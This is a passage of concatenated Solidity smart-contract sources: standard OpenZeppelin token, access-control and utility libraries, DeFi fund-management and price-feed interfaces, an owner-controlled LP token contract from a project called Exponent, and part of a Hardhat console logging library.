* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor() {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
//SPDX-License-Identifier: Unlicense
pragma solidity 0.8.0;
interface IFundDeployer {
function createNewFund(
address,
string calldata,
address,
uint256,
bytes calldata,
bytes calldata
) external returns (address, address);
function createMigratedFundConfig(
address,
uint256,
bytes calldata,
bytes calldata
) external returns (address);
function signalMigration(address, address) external;
function executeMigration(address) external;
function setReleaseStatus(uint8) external;
function setComptrollerLib(address _comptrollerLib) external;
}
//SPDX-License-Identifier: Unlicense
pragma solidity 0.8.0;
interface IComptroller {
function buyShares(
address[] calldata,
uint256[] calldata,
uint256[] calldata
) external returns (uint256[] memory sharesReceivedAmounts_);
function redeemSharesDetailed(
uint256,
address[] calldata,
address[] calldata
) external returns (address[] memory, uint256[] memory);
function callOnExtension(
address,
uint256,
bytes calldata
) external;
}
//SPDX-License-Identifier: Unlicense
pragma solidity 0.8.0;
interface IIntegrationManager {
function addAuthUserForFund(address, address) external;
function removeAuthUserForFund(address, address) external;
function isAuthUserForFund(address, address) external view returns (bool);
}
//SPDX-License-Identifier: Unlicense
pragma solidity 0.8.0;
interface IPolicyManager {
function enablePolicyForFund(
address,
address,
bytes calldata
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.0;
interface AggregatorV3Interface {
function decimals() external view returns (uint8);
function description() external view returns (string memory);
function version() external view returns (uint256);
// getRoundData and latestRoundData should both raise "No data present"
// if they do not have data to report, instead of returning unset values
// which could be misinterpreted as actual reported values.
function getRoundData(uint80 _roundId)
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
function latestRoundData()
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// Copyright (C) 2021 Exponent
// This file is part of Exponent.
// Exponent is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// Exponent is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with Exponent. If not, see <http://www.gnu.org/licenses/>.
pragma solidity 0.8.0;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract LPToken is ERC20, Ownable {
constructor(string memory _name, string memory _symbol)
ERC20(_name, _symbol)
{}
// @notice mint LP token share
// @param receiver the address to receive the tokens
// @param amount the amount of tokens to mint
// @dev callable only by deployer
function mint(address receiver, uint256 amount) public onlyOwner {
_mint(receiver, amount);
}
// @notice burn LP token share
// @param wallet the wallet to burn tokens from
// @param amount the amount of tokens to be burned
// @dev callable only by deployer
function burn(address wallet, uint256 amount) public onlyOwner {
_burn(wallet, amount);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC20.sol";
import "./extensions/IERC20Metadata.sol";
import "../../utils/Context.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC20.sol";
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// SPDX-License-Identifier: MIT
pragma solidity >= 0.4.22 <0.9.0;
library console {
address constant CONSOLE_ADDRESS = address(0x000000000000000000636F6e736F6c652e6c6f67);
function _sendLogPayload(bytes memory payload) private view {
uint256 payloadLength = payload.length;
address consoleAddress = CONSOLE_ADDRESS;
assembly {
let payloadStart := add(payload, 32)
let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0)
}
}
function log() internal view {
_sendLogPayload(abi.encodeWithSignature("log()"));
}
function logInt(int p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(int)", p0));
}
function logUint(uint p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint)", p0));
}
function logString(string memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string)", p0));
}
function logBool(bool p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool)", p0));
}
function logAddress(address p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address)", p0));
}
function logBytes(bytes memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes)", p0));
}
function logBytes1(bytes1 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes1)", p0));
}
function logBytes2(bytes2 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes2)", p0));
}
function logBytes3(bytes3 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes3)", p0));
}
function logBytes4(bytes4 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes4)", p0));
}
function logBytes5(bytes5 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes5)", p0));
}
function logBytes6(bytes6 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes6)", p0));
}
function logBytes7(bytes7 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes7)", p0));
}
function logBytes8(bytes8 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes8)", p0));
}
function logBytes9(bytes9 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes9)", p0));
}
function logBytes10(bytes10 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes10)", p0));
}
function logBytes11(bytes11 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes11)", p0));
}
function logBytes12(bytes12 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes12)", p0));
}
function logBytes13(bytes13 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes13)", p0));
}
function logBytes14(bytes14 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes14)", p0));
}
function logBytes15(bytes15 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes15)", p0));
}
function logBytes16(bytes16 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes16)", p0));
}
function logBytes17(bytes17 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes17)", p0));
}
function logBytes18(bytes18 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes18)", p0));
}
function logBytes19(bytes19 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes19)", p0));
}
function logBytes20(bytes20 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes20)", p0));
}
function logBytes21(bytes21 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes21)", p0));
}
function logBytes22(bytes22 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes22)", p0));
}
function logBytes23(bytes23 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes23)", p0));
}
function logBytes24(bytes24 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes24)", p0));
}
function logBytes25(bytes25 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes25)", p0));
}
function logBytes26(bytes26 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes26)", p0));
}
function logBytes27(bytes27 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes27)", p0));
}
function logBytes28(bytes28 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes28)", p0));
}
function logBytes29(bytes29 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes29)", p0));
}
function logBytes30(bytes30 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes30)", p0));
}
function logBytes31(bytes31 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes31)", p0));
}
function logBytes32(bytes32 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes32)", p0));
}
function log(uint p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint)", p0));
}
function log(string memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string)", p0));
}
function log(bool p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool)", p0));
}
function log(address p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address)", p0));
}
function log(uint p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint)", p0, p1));
}
function log(uint p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string)", p0, p1));
}
function log(uint p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool)", p0, p1));
}
function log(uint p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address)", p0, p1));
}
function log(string memory p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint)", p0, p1));
}
function log(string memory p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string)", p0, p1));
}
function log(string memory p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool)", p0, p1));
}
function log(string memory p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address)", p0, p1));
}
function log(bool p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint)", p0, p1));
}
function log(bool p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string)", p0, p1));
}
function log(bool p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool)", p0, p1));
}
function log(bool p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address)", p0, p1));
}
function log(address p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint)", p0, p1));
}
